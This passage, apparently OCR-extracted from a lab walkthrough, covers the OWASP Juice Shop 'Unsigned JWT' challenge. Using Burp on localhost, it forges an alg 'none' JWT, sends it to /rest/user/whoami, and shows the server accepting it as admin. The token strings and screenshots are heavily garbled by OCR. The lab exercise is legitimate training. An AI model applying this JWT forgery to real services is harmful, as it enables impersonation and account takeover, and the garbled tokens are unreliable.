4 Accept: application/json, text/plain, */*

S Accept-Language: en-US,en;g=0.5

& Accept-Encoding: gzip, deflate

7 Connection: close

2 Referer: http://localhost:2000/

o Cookie: language=en; cookleconsent_status=dismiss;
welcomebanner status=dismiss; 1o=veSUqOdRddsnISchAfAC;
token=
eyJlzdGFOdXML 01 JzdwWN] ZXMNzI 1wl ZGFOY SIGey JpZCIEMTksInVzZXIuYWl
1Ijo1l1wiZWlhawwi01JhZGlpbkBgdwl jZS1zaC5veCIsInBhe3M3b3IkI;
01 0GQWN] EwY zI yOTkyZTMyYWRk ZGI xM2JmNj B1 YWMwyMzMi LCIyb2x 11 joiY
2VzdGotZXT1LCIk ZWx 1eGVUb2t LhiI6TI 1 IsImxhe3RMb 2dpbk LwI j o1 MC4w
L] AUMCI sInByb2ZpbGYIbWFNZSIAI1 9he3MLdHMy cHV1bGL L2 tYWdlecy 2
leGrvYWRzL2ZRLZmF1bHOQUe3ZnT 1wl dGo0cFNLY 21 LdCIEI1IsImlzQwhDa X
Z1Ipoenv1LCI jemVhdGvkQXQl 0l I yMDIwLT ASLT A3IDEY0] Az0jM2L ] 30
CArMDAGMDALLCI1cGRhdGVKkQXQ1 01 I yMDIwLTASLTASIDEYD] Az0]M2L 3
OCArMDASMDALLCIk Zwx LdGVk QX1 OmS1h GxOLCIpY XQ1 01 ELOT QxM] MOM] M
sImvaccIeMTUSNDEOMTQyMde= | +— Delete the =

JWT Payload Pasted. Delete the = Because we can't have that here

25. Go to your text editor and copy the JWT header you have there. We need to put this in the
"token" cookie as the header, so it needs to come first, and it needs to have a dot between the
encoded header and the encoded payload. When you're done, it should look something like this:



2 Referer: http://localhost: 3000/
o Cookie: language=en; cookieconsent status=dismiss;

welcomebanner_status=dismiss; 1o=veSUqOdRddsnIB8chAAAC;
rkenfﬂ.rged header from text file —

eyJ0eXA101JKV1Q1LCIhbGe1 01 JOTOSFI NG, ey JzdGFOd XML 01 J zdWh]
ZXNzI1wl ZGFOYSIGeylpZCIEMThsInVZZXAUYW1LI jo1l1wl ZWlhakwl
01JhzGlpbkBgdwl jZ51zaCSveCIsInBhe3N3b3IkI 01 0GQwN] EwY Z1 y
OTkyZT My YWRk ZGI xM2J mNj BL YWMwMzMi L¢I yb2x 11 j 01 Y 3vzdGotZXI 1
LCIkZwxleGyUb2tlbiI6liIsImxhc3RMb Rdpbk LwI o1 MCAwl ] AUMCI s
InByb2ZphGVIbWFNZSIEI1 She3MLdHMycHYIbGL]L21tYWdley9leGxy
YWRzLZRLZmF1EHQUe 2ZnI 1wl dGo0e FNLY B LdCIETI1IsImlzQwhoaXZ 1
IipOenVLLCjemvhdGVkQxXQiol I yMDIwLT\A3LTASI DEYO] AzOjM2Ljc3
OCArMDASMDALLCI1eGRhdGVk QX0 01 I yMDNWLT ASLT ASIDEYO] AzO M2
L] c30CArMDAGMDAL LCIk Zwx LdGVk QXQ1 OmS Mg Gx OLCIpY XQ1 01 ELOT Qx
Mj MOM] Ms I mv4c CI 6MTUSNDEOMT QyM30.

Forged payload Dots
from Burp Decoder .

Forged JWT Header [dot] Forged JWT Payload [dot] no signature

Paste after the Paste it into the Repeater "Request" area right after "token=" so it comes before
the payload.like this:

26. Click "Send" in Repeater to send your forged token...

| Send || Cance || || | Target: http://localhost:3000 f@
Request Response
[Raw rParams rHeaders rHex rJWS | fRaw rHeaders rHex |
1 GET /rest/user/whoami HTTRE/1.1 |~ 1 HTTP/1.1 200 OK b
2 Host: localhost:3000 2 Access-Control-Allow-0Origin: *
= User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux 2 X-Content-Type-Options: nosniff
%86 _64; rv:78.0) Gecko/20100101 Firefox/78.0 4 ¥-Frame-Options: SAMEORIGIN
4 Accept: application/json, text/plain, */* S Feature-Policy: payment 'self'
S Accept-Language: en-US,en;q=0.5 5 Set-Cookie: token=eylOeXA101JKV1Q1LCIhbGei01JOTOSFING. eyl
5 Accept-Encoding: gzip, deflate 7 Content-Type: application/json; charset=utf-g8
7 Connection: close g Content-Length: 129
2 Referer: http://localhost:3000/ S ETag: W/"81-EIftoMNOEMLY/gUnNyIUOS7]1158g"
o Cookie: language=en; cookleconsent_status=dismiss; 10 Vary: Accept-Encoding
welcomebanner_status=dismiss; lo= 11 Date: Tue, 07 Jul 2020 14:24:50 GMT
vesSUgodRddsnI8chAlAC; token= 12 Connection: close
eyJ0eXA1 01 JKV1QiLCIhbGei 01 JOTOSFING. eyl zdGFodXMi 0 13
JzdwNj ZXNzI 1wl ZGFOY ST Bey I pZCIBMTksInVzZXIuYWllIjol 14/{
TiwiZwlhawwi0lJIhZGlpbkBgdwljZSlzaCSveCIsInBhe3N3b3 "user":{
JKT j 01 OGGWN] EwY ZI yOTkyZT MyYWRk ZGI xM2JmNj B YwMwMzMi nidv:ig,
LCIyb2x1Ijo1Y3VzdGotZXI1LCIk ZWx 1eGVUb2t LhiI6I1IsIm |"ema1l":"admn@juice-sh.op",|
xhe3RMb 2dpbk LwI ] 01 MC4wl ] AUMCI sInByb2ZpbGVIbWFNZSIE ™ astloginlp':"0.0.0.0",
I18he3NLdHMycHVLbGL L2t YWdley9leGrvYWRzL2RLZmF1bH "profileImage":" fassets/public/images/uploads/default
Que3ZnIiwldGe0cFNLY 31 1dCIBI1IsImlzgWhNOaxZ1I jpocnyl 1
LCJjemvhdGVkQXQ1 01 T yMDIWLTASLT AL DEY 0] Az0]M2L] c30C |
ArMDAGMDAL LCI 1cGRhdGVk QXQ1 01 T yMDIwLT ASLT AZIDEY0] Az
0] M2L ] c30CArMDABMDALL CIk Zwx LdGWk QXGQ1 OmS1bGxSLCIpY X
QL0JELOTQxM] MOM] Ms I mydeCI EMTUSNDEOMT QyM30.
10
£

Juice Shop Believed You! You're Admin!




27. Notice the Set-Cookie header in the response. Copy that and paste it into Burp Decoder,
then Base64-decode it.

0jAZOjM2Ljc30CArMDASMDAILC)1cGRhdGVKQXQiOilyMDIWLTA3LTA3IDEYOjAZOM2Lic 30 CArMDABMDAILCkZWxIdG

4] | I | [»

{"typ™"WT","alg":"NOMNEINC. {"status""success", "data": {"id": 19,"username":"" ,"email""admin@juice-sh.op","passw
12:03:36.778 +00:00","updatedAt":"2020-07-07 12:03:36.778 +00:00","deletedAt":null},"iat";1594123423,"exp":]

4] i | [»

Confirmed: Juice Shop Put "Admin" In Your Cookie

To get the green banner, Juice Shop wants to see an email address of "jwtn3d@)juice-sh.op" in
the JWT payload.

(i) localhost:3000/#/ sxe ‘i:?l + N @ ¢

JE o

o
Q @ Account W your Basket

You successfully solved a challenge: Unsigned JWT (Forge an essentially unsigned JWT token that impersonates the (non-
existing) user jwtn3d@juice-sh.op.)

For Further Practice: Digi.Ninja labs

Leaky JWT: https://authlab.digi.ninja/Leaky _JWT

JWT None algorithm: https://authlab.digi.ninja/JWT_None

Cracking JWT Keys: https://authlab.digi.ninja/JWT_Cracking

JWT Signature Disclosure CVE-2019-7644: https://authlab.digi.ninja/Auth1



